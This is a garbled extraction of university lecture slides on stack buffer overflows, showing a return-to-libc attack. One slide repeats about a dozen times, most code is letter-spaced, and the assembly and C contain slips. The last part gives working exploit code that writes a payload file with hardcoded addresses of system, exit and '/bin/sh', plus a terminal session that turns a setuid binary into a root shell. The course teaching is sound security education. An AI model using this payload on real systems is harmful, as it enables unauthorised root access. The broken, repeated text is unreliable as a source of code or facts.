11 0 x b f f f f 5 6 4 : "GPG_AGENT_INFO= / tmp / k e y r i n g −xNwnYB / gpg : 0 : 1 "
12 0 x b f f f f 5 9 c : "SHELL= / b i n / sh "
13 ...
14 0 x b f f f f f c 8 : " / home / ssd / envaddr_dbg "
Example
File function.c
1 void f o o ( i n t x )
2 {
3 int a;
4 a = x;
5 }
6
7 void s t u f f ( )
8 {
9 int b = 5;
10 foo ( b ) ;
11 }
Assembly code
1 ...
2
3 foo :
4 p u s h l %ebp
5 movl %esp , %ebp
6 s u b l $16 , %esp
7
8 movl 8(%rbp ) , %eax
9 movl %eax , −4(%ebp )
10
11 leave
12 ret
13
14 stuff :
15 p u s h l %ebp
16 movl %esp , ebp
17 s u b l $20 , %esp
18
19 movl $42 , −4(%ebp )
20 movl −4(%ebp ) , %eax
21 movl %eax , (%esp )
22
23 c a l l foo
24
25 leave
26 ret
It is time
We know where to put "/bin/sh" on the stack
We will overflow the return address of copy_stuff with the
address of system
Between the point when the return address is modified and the
point where the argument of system is used, the program will
execute the prologues of both copy_stuff and system
By tracing these instructions, we will know where rbp points
We will proceed as before: with gdb
Note that it is important to trace rsp, and not rbp
We don’t care where it points at that moment
Because rbp will be replaced by rsp
When system is executed, the function prologue is executed
Moves rsp 8 bytes below, and sets rbp to the current value of rsp
It is wiser to overflow the return address of system with the
address of exit
Arbitrary values will likely cause a crash
R. Absil ESI Ch. 5 - Buffer Overflow October 27, 2022 87 / 92
Introduction Recalls The attack Deployment Writing a shell code Countermeasures ASLR Non executable stack
It is time
We know where to put "/bin/sh" on the stack
We will overflow the return address of copy_stuff with the
address of system
Between the point when the return address is modified and the
point where the argument of system is used, the program will
execute the prologues of both copy_stuff and system
By tracing these instructions, we will know where rbp points
We will proceed as before: with gdb
Note that it is important to trace rsp, and not rbp
We don’t care where it points at that moment
Because rbp will be replaced by rsp
When system is executed, the function prologue is executed
Moves rsp 8 bytes below, and sets rbp to the current value of rsp
It is wiser to overflow the return address of system with the
address of exit
Arbitrary values will likely cause a crash
R. Absil ESI Ch. 5 - Buffer Overflow October 27, 2022 87 / 92
Introduction Recalls The attack Deployment Writing a shell code Countermeasures ASLR Non executable stack
It is time
We know where to put "/bin/sh" on the stack
We will overflow the return address of copy_stuff with the
address of system
Between the point when the return address is modified and the
point where the argument of system is used, the program will
execute the prologues of both copy_stuff and system
By tracing these instructions, we will know where rbp points
We will proceed as before: with gdb
Note that it is important to trace rsp, and not rbp
We don’t care where it points at that moment
Because rbp will be replaced by rsp
When system is executed, the function prologue is executed
Moves rsp 8 bytes below, and sets rbp to the current value of rsp
It is wiser to overflow the return address of system with the
address of exit
Arbitrary values will likely cause a crash
R. Absil ESI Ch. 5 - Buffer Overflow October 27, 2022 87 / 92
Introduction Recalls The attack Deployment Writing a shell code Countermeasures ASLR Non executable stack
It is time
We know where to put "/bin/sh" on the stack
We will overflow the return address of copy_stuff with the
address of system
Between the point when the return address is modified and the
point where the argument of system is used, the program will
execute the prologues of both copy_stuff and system
By tracing these instructions, we will know where rbp points
We will proceed as before: with gdb
Note that it is important to trace rsp, and not rbp
We don’t care where it points at that moment
Because rbp will be replaced by rsp
When system is executed, the function prologue is executed
Moves rsp 8 bytes below, and sets rbp to the current value of rsp
It is wiser to overflow the return address of system with the
address of exit
Arbitrary values will likely cause a crash
R. Absil ESI Ch. 5 - Buffer Overflow October 27, 2022 87 / 92
Introduction Recalls The attack Deployment Writing a shell code Countermeasures ASLR Non executable stack
It is time
We know where to put "/bin/sh" on the stack
We will overflow the return address of copy_stuff with the
address of system
Between the point when the return address is modified and the
point where the argument of system is used, the program will
execute the prologues of both copy_stuff and system
By tracing these instructions, we will know where rbp points
We will proceed as before: with gdb
Note that it is important to trace rsp, and not rbp
We don’t care where it points at that moment
Because rbp will be replaced by rsp
When system is executed, the function prologue is executed
Moves rsp 8 bytes below, and sets rbp to the current value of rsp
It is wiser to overflow the return address of system with the
address of exit
Arbitrary values will likely cause a crash
R. Absil ESI Ch. 5 - Buffer Overflow October 27, 2022 87 / 92
Introduction Recalls The attack Deployment Writing a shell code Countermeasures ASLR Non executable stack
It is time
We know where to put "/bin/sh" on the stack
We will overflow the return address of copy_stuff with the
address of system
Between the point when the return address is modified and the
point where the argument of system is used, the program will
execute the prologues of both copy_stuff and system
By tracing these instructions, we will know where rbp points
We will proceed as before: with gdb
Note that it is important to trace rsp, and not rbp
We don’t care where it points at that moment
Because rbp will be replaced by rsp
When system is executed, the function prologue is executed
Moves rsp 8 bytes below, and sets rbp to the current value of rsp
It is wiser to overflow the return address of system with the
address of exit
Arbitrary values will likely cause a crash
R. Absil ESI Ch. 5 - Buffer Overflow October 27, 2022 87 / 92
Introduction Recalls The attack Deployment Writing a shell code Countermeasures ASLR Non executable stack
It is time
We know where to put "/bin/sh" on the stack
We will overflow the return address of copy_stuff with the
address of system
Between the point when the return address is modified and the
point where the argument of system is used, the program will
execute the prologues of both copy_stuff and system
By tracing these instructions, we will know where rbp points
We will proceed as before: with gdb
Note that it is important to trace rsp, and not rbp
We don’t care where it points at that moment
Because rbp will be replaced by rsp
When system is executed, the function prologue is executed
Moves rsp 8 bytes below, and sets rbp to the current value of rsp
It is wiser to overflow the return address of system with the
address of exit
Arbitrary values will likely cause a crash
R. Absil ESI Ch. 5 - Buffer Overflow October 27, 2022 87 / 92
Introduction Recalls The attack Deployment Writing a shell code Countermeasures ASLR Non executable stack
It is time
We know where to put "/bin/sh" on the stack
We will overflow the return address of copy_stuff with the
address of system
Between the point when the return address is modified and the
point where the argument of system is used, the program will
execute the prologues of both copy_stuff and system
By tracing these instructions, we will know where rbp points
We will proceed as before: with gdb
Note that it is important to trace rsp, and not rbp
We don’t care where it points at that moment
Because rbp will be replaced by rsp
When system is executed, the function prologue is executed
Moves rsp 8 bytes below, and sets rbp to the current value of rsp
It is wiser to overflow the return address of system with the
address of exit
Arbitrary values will likely cause a crash
R. Absil ESI Ch. 5 - Buffer Overflow October 27, 2022 87 / 92
Introduction Recalls The attack Deployment Writing a shell code Countermeasures ASLR Non executable stack
It is time
We know where to put "/bin/sh" on the stack
We will overflow the return address of copy_stuff with the
address of system
Between the point when the return address is modified and the
point where the argument of system is used, the program will
execute the prologues of both copy_stuff and system
By tracing these instructions, we will know where rbp points
We will proceed as before: with gdb
Note that it is important to trace rsp, and not rbp
We don’t care where it points at that moment
Because rbp will be replaced by rsp
When system is executed, the function prologue is executed
Moves rsp 8 bytes below, and sets rbp to the current value of rsp
It is wiser to overflow the return address of system with the
address of exit
Arbitrary values will likely cause a crash
R. Absil ESI Ch. 5 - Buffer Overflow October 27, 2022 87 / 92
Introduction Recalls The attack Deployment Writing a shell code Countermeasures ASLR Non executable stack
It is time
We know where to put "/bin/sh" on the stack
We will overflow the return address of copy_stuff with the
address of system
Between the point when the return address is modified and the
point where the argument of system is used, the program will
execute the prologues of both copy_stuff and system
By tracing these instructions, we will know where rbp points
We will proceed as before: with gdb
Note that it is important to trace rsp, and not rbp
We don’t care where it points at that moment
Because rbp will be replaced by rsp
When system is executed, the function prologue is executed
Moves rsp 8 bytes below, and sets rbp to the current value of rsp
It is wiser to overflow the return address of system with the
address of exit
Arbitrary values will likely cause a crash
R. Absil ESI Ch. 5 - Buffer Overflow October 27, 2022 87 / 92
Introduction Recalls The attack Deployment Writing a shell code Countermeasures ASLR Non executable stack
It is time
We know where to put "/bin/sh" on the stack
We will overflow the return address of copy_stuff with the
address of system
Between the point when the return address is modified and the
point where the argument of system is used, the program will
execute the prologues of both copy_stuff and system
By tracing these instructions, we will know where rbp points
We will proceed as before: with gdb
Note that it is important to trace rsp, and not rbp
We don’t care where it points at that moment
Because rbp will be replaced by rsp
When system is executed, the function prologue is executed
Moves rsp 8 bytes below, and sets rbp to the current value of rsp
It is wiser to overflow the return address of system with the
address of exit
Arbitrary values will likely cause a crash
R. Absil ESI Ch. 5 - Buffer Overflow October 27, 2022 87 / 92
Introduction Recalls The attack Deployment Writing a shell code Countermeasures ASLR Non executable stack
It is time
We know where to put "/bin/sh" on the stack
We will overflow the return address of copy_stuff with the
address of system
Between the point when the return address is modified and the
point where the argument of system is used, the program will
execute the prologues of both copy_stuff and system
By tracing these instructions, we will know where rbp points
We will proceed as before: with gdb
Note that it is important to trace rsp, and not rbp
We don’t care where it points at that moment
Because rbp will be replaced by rsp
When system is executed, the function prologue is executed
Moves rsp 8 bytes below, and sets rbp to the current value of rsp
It is wiser to overflow the return address of system with the
address of exit
Arbitrary values will likely cause a crash
R. Absil ESI Ch. 5 - Buffer Overflow October 27, 2022 87 / 92
Introduction Recalls The attack Deployment Writing a shell code Countermeasures ASLR Non executable stack
Illustration
Argmt. of system
str Return of system
esp
Return address Addr. of system Addr. of system
ebp
main’s ebp
ebp
esp ∆
buffer
After hitting ret
Inside copy_stuff Inside system
inside copy_stuff
Building badfile
Building badfile
Building badfile
Building badfile
Building badfile
Building badfile
Building badfile
Building badfile
File malicious-libc.c
1 # include < s t d i o . h>
2 # include < s t d l i b . h>
3 # include < s t r i n g . h>
4
5 i n t main ( )
6 {
7 char b u f f e r [ 2 0 0 ] ;
8
9 memset ( b u f f e r , 0xaa , 2 0 0 ) ; / / f i l l w i t h non zeros
10
11 * ( long * ) & b u f f e r [ 1 2 0 ] = 0 x b f f f f e 8 3 ; / / address o f " / b i n / sh "
12 * ( long * ) & b u f f e r [ 1 1 6 ] = 0xb75a4fe0 ; / / address o f e x i t
13 * ( long * ) & b u f f e r [ 1 1 2 ] = 0xb75b1460 ; / / address o f system
14
15 FILE * b a d f i l e = fopen ( " . / b a d f i l e " , "w" ) ;
16 f w r i t e ( buffer , sizeof ( b u f f e r ) , 1 , b a d f i l e ) ;
17 fclose ( badfile )
18 }
1 ssd@ssd−vb : ~ $ gcc −o m a l i c i o u s − l i b c m a l i c i o u s − l i b c . c
2 ssd@ssd−vb : ~ $ gcc −fno − stack − p r o t e c t o r −o o v e r f l o w o v e r f l o w . c
3 ssd@ssd−vb : ~ $ sudo chown r o o t o v e r f l o w
4 ssd@ssd−vb : ~ $ sudo chmod 4755 o v e r f l o w
5 ssd@ssd−vb : ~ $ . / m a l i c i o u s − l i b c
6 ssd@ssd−vb : ~ $ . / o v e r f l o w
7 #
8 # id
9 u i d =0( r o o t ) g i d =1000( ssd ) groups =0( r o o t ) , . . .